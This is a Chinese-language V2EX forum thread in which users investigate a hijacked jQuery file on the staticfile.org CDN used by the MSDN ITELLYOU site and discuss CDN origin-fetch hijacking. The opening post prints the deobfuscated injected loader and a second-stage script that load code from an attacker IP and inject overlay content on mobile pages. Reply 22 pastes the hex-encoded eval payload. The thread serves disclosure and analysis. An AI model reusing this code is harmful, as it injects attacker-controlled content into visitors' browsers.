V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
• 请用平和的语言准确描述你所遇到的问题
• 厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
• 如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
BOYPT
V2EX  ›  全球工单系统

MSDN ITELLYOU 网站被劫持挂马?

  •  
  •   BOYPT · 2018-12-24 09:47:20 +08:00 · 6847 次点击
    这是一个创建于 2195 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:

    https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

    jquery.min.js

    终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下

    var c = function(u) {
            var d = document,
                e = d.createElement('script');
            e.type = 'text/javascript';
            e.src = u;
            d.getElementsByTagName('head')[0].appendChild(e);
        },
        s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
    if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
    if ((typeof M7f == 'undefined') || (M7f != s)) {
        M7f = s;
        c(s + Math.random());
    }
    

    看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:

    !(function() {
        if (typeof MB7F2 == 'undefined') {
            MB7F2 = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onload = script.onreadystatechange = function() {
                if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
                    var isMobile = {
                        Win: function() {
                            return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
                        },
                        Qqb: function() {
                            return navigator.userAgent.match(/QQ/i) ? true : false
                        },
                        Phone: function() {
                            return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
                        }
                    };
                    var bz = 0;
                    if (isMobile.Win() || isMobile.Qqb()) {
                        bz = 0
                    } else if (isMobile.Phone()) {
                        var slt = Math.floor(Math.random() * 1000000) + 1000;
                        bz = 1;
                        var nd = document.createElement("div");
                        nd.id = slt;
                        nd.style.position = "fixed";
                        nd.style.zIndex = "9999";
                        nd.style.width = "100%";
                        nd.style.height = "auto";
                        nd.style.bottom = "-6px";
                        nd.style.right = "0px";
                        document.body.insertBefore(nd, document.body.firstChild);
                        var slt = '#' + slt
                    }
                    var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
                    var setcookies = function() {
                        var exp = new Date();
                        var value = exp.getTime();
                        exp.setTime(exp.getTime() + 3000 * 1000);
                        document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
                    };
                    var getCookie = function(d) {
                        var f = document.cookie;
                        var g = f.split("; ");
                        for (var e = 0; e < g.length; e++) {
                            var c = g[e].split("=");
                            if (c[0] == d) {
                                return c[1]
                            }
                        }
                        return 0
                    };
                    var mbbt = new Date();
                    mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
                    if ((bz != 0) && (mbbt > 81)) {
                        $(document).ready(function() {
                            $.ajax({
                                type: 'get',
                                url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
                                dataType: 'jsonp',
                                jsonp: "jsoncallback",
                                success: function(data) {
                                    $(slt).html(data);
                                    setcookies()
                                },
                                error: function() {}
                            })
                        })
                    }
                }
            };
            script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
            head.appendChild(script)
        }
    })();
    

    因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

    因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。

    36 条回复    2019-09-29 17:37:17 +08:00
    Nitroethane
        1
    Nitroethane  
       2018-12-24 09:51:01 +08:00 via Android
    没有遇到所说的问题,能正常打开。是不是你被运营商劫持了?
    BOYPT
        2
    BOYPT  
    OP
       2018-12-24 09:52:58 +08:00
    @Nitroethane #1 看分析文字
    Les1ie
        3
    Les1ie  
       2018-12-24 09:54:09 +08:00   ❤️ 3
    刚好昨晚看到知乎看到一篇文章 zhihu.com/question/35720092/answer/523563873
    Les1ie
        4
    Les1ie  
       2018-12-24 09:54:54 +08:00
    另外我这里没有遇到问题
    BOYPT
        5
    BOYPT  
    OP
       2018-12-24 09:55:00 +08:00
    可以排除营运商劫持,因为如图所示。

    Nitroethane
        6
    Nitroethane  
       2018-12-24 09:58:12 +08:00
    @BOYPT #2 我看了,点击内容菜单能正常打开,console 什么报错都没有。唯一的两条报错信息是广告屏蔽插件屏蔽的两条广告请求。不要老想着搞个大新闻
    BOYPT
        7
    BOYPT  
    OP
       2018-12-24 09:59:44 +08:00
    @Nitroethane #6 好吧

    CDN 也是分地区性的,现在想来应该是七牛云的祸,不是 itellyou 站问题。
    jptx
        8
    jptx  
       2018-12-24 10:01:31 +08:00
    我这边也是正常的
    wly19960911
        9
    wly19960911  
       2018-12-24 10:13:17 +08:00
    @Les1ie #3 居然还有回源的时候被劫持,长见识了,果然 https 还不是完全值得信任。
    Les1ie
        10
    Les1ie  
       2018-12-24 10:17:48 +08:00
    即使我们做到了全链路 https, 但是云服务厂商自己的服务器之间没做到, 这也是个问题

    另外知乎那篇文章似乎也没法石锤是回源的时候遇到了问题,如果是回源遇到了劫持,那么影响的应该是这个网站下面使用了这个 cdn 的很多客户呀,影响面积会不会更大

    @wly19960911 #9
    maplelin
        11
    maplelin  
       2018-12-24 10:19:25 +08:00
    坐标深圳,已复现问题,菜单无法正常打开
    LanFomalhaut
        12
    LanFomalhaut  
       2018-12-24 10:25:32 +08:00
    @Les1ie
    当年就遇到过一次....节点回源时候被劫持 缓存了被劫持篡改的广告 JS .然后这个站只要访问到这个节点就会 100%跳广告..属于大范围影响的
    liberize
        13
    liberize  
       2018-12-24 10:27:25 +08:00
    广州也复现了
    BOYPT
        14
    BOYPT  
    OP
       2018-12-24 10:28:24 +08:00
    @Les1ie #10 如果是 cloudflare 的 CDN 就有回源模式,可以选择 full ssl,应该就能避免这类问题;而一众国产 CDN (有些甚至没有控制台)只能烧香了...

    itellyou 站我个人建议更换静态库的 CDN,用 cdnjs 的应该就比较合适,cloudflare 在国内跟百度云合作,速度和技术上应该有点保证
    BOYPT
        15
    BOYPT  
    OP
       2018-12-24 10:29:50 +08:00
    楼主也是广州,目前能复现的是广州深圳,而七牛有专门的华南区区域划分,估计影响的就是华南区服务器
    v2meng
        16
    v2meng  
       2018-12-24 10:44:07 +08:00 via Android
    广州长城宽带复现
    miyuki
        17
    miyuki  
       2018-12-24 10:57:05 +08:00 via Android
    如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
    https://www.v2ex.com/t/403110

    我记得还有个主题说百度的 js,也被回源劫持了,找不到了。
    Variazioni
        18
    Variazioni  
       2018-12-24 10:58:30 +08:00
    北京电信正常。。
    Les1ie
        19
    Les1ie  
       2018-12-24 11:12:01 +08:00
    cloudflare 国内默认不会走百度吧... 国内使用 cloudflare 是 cdn 云减速
    Mac
        20
    Mac  
       2018-12-24 12:20:06 +08:00
    cdn.staticfile.org 经常会被劫持或者挂马。

    我也遇到过。

    https://www.v2ex.com/t/471432
    chinafeng
        21
    chinafeng  
       2018-12-24 12:28:56 +08:00
    @miyuki #17 网宿的锅,跟 jsDelivr 没什么关系
    jo32
        22
    jo32  
       2018-12-24 12:45:15 +08:00
    (function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

    深圳复现
    shawndev
        23
    shawndev  
       2018-12-24 13:03:52 +08:00
    <img src="https://i.loli.net/2018/12/24/5c2068784f8b9.png" alt="屏幕快照 2018-12-24 下午 1.02.17.png" title="屏幕快照 2018-12-24 下午 1.02.17.png" />河南未重现
    BOYPT
        24
    BOYPT  
    OP
       2018-12-24 13:34:36 +08:00
    下午 1 点测试,劫持已经消失。
    sneezry
        25
    sneezry  
       2018-12-24 14:06:13 +08:00 via iPhone
    @Les1ie 有一点没太想明白,https 下运营商是不是应该不知道文件后缀?为什么改后缀可以达到目的呢?
    Les1ie
        26
    Les1ie  
       2018-12-24 14:10:47 +08:00
    @sneezry #25 猜测可能是回源阶段被劫持了,回源阶段只劫持了 js 文件, 改后缀就不会被运营商识别到了叭
    venhow
        27
    venhow  
       2018-12-24 16:46:39 +08:00
    但是里面的点击不了,只是一个大大的红包
    chungzhao
        28
    chungzhao  
       2018-12-24 17:59:02 +08:00
    佛山联通不行。
    MSDN 挺好的,我一直在用它下载系统。
    诶,可惜了。。。
    EarthChild
        29
    EarthChild  
       2018-12-24 18:30:44 +08:00
    http://cdn.staticfile.org/ 我这边居然访问不了。。。没 FQ 啊!
    RqPS6rhmP3Nyn3Tm
        30
    RqPS6rhmP3Nyn3Tm  
       2018-12-25 01:34:17 +08:00 via iPhone
    都 tls 了,除了 canonical name 和端口,路由节点啥都看不到。http 路径包括文件名已经被加密过了
    只有可能是回源的问题,回源也上 https 就可以了,不知道这老哥为啥走这么大弯路
    @Les1ie
    RqPS6rhmP3Nyn3Tm
        31
    RqPS6rhmP3Nyn3Tm  
       2018-12-25 01:37:16 +08:00 via iPhone
    Tls 全称是 transport layer security 啊(敲黑板
    Les1ie
        32
    Les1ie  
       2018-12-25 09:04:58 +08:00
    排除问题的阶段只能猜测所有的可能呀:1.回源阶段有问题 2.运营商有没有用了某个浏览器信任的证书做中间人 慢慢排查
    Les1ie
        33
    Les1ie  
       2018-12-25 09:07:23 +08:00
    现在运营商劫持依然很严重

    是不是可以抓出来罪魁祸首,顺带赠送一个非法侵入计算机系统罪
    lizheming
        34
    lizheming  
       2018-12-25 09:35:20 +08:00
    @BOYPT ( emmmm, 轻微反驳一下那个一众国产)... https://cdn.baomitu.com 75CDN 目前是已经全部切成 https 回源了的,所以楼主的情况在 75CDN 上不会碰到。
    red2dog
        35
    red2dog  
       2019-01-18 09:57:02 +08:00
    遇到同样的问题了,排查了一晚上解决了。。。
    Xheldon
        36
    Xheldon  
       2019-09-29 17:37:17 +08:00
    北京联通遇到了, 点击左侧的展开菜单没反应
    控制台看到是 bootstrap.3.0.3.js 报错, 打开这个文件看起来是文件内容不全导致的
    官网下载一个 bootstrap.js 粘贴复制到控制台回车, 再点展开菜单就 OK 了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3066 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 00:13 · PVG 08:13 · LAX 16:13 · JFK 19:13
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.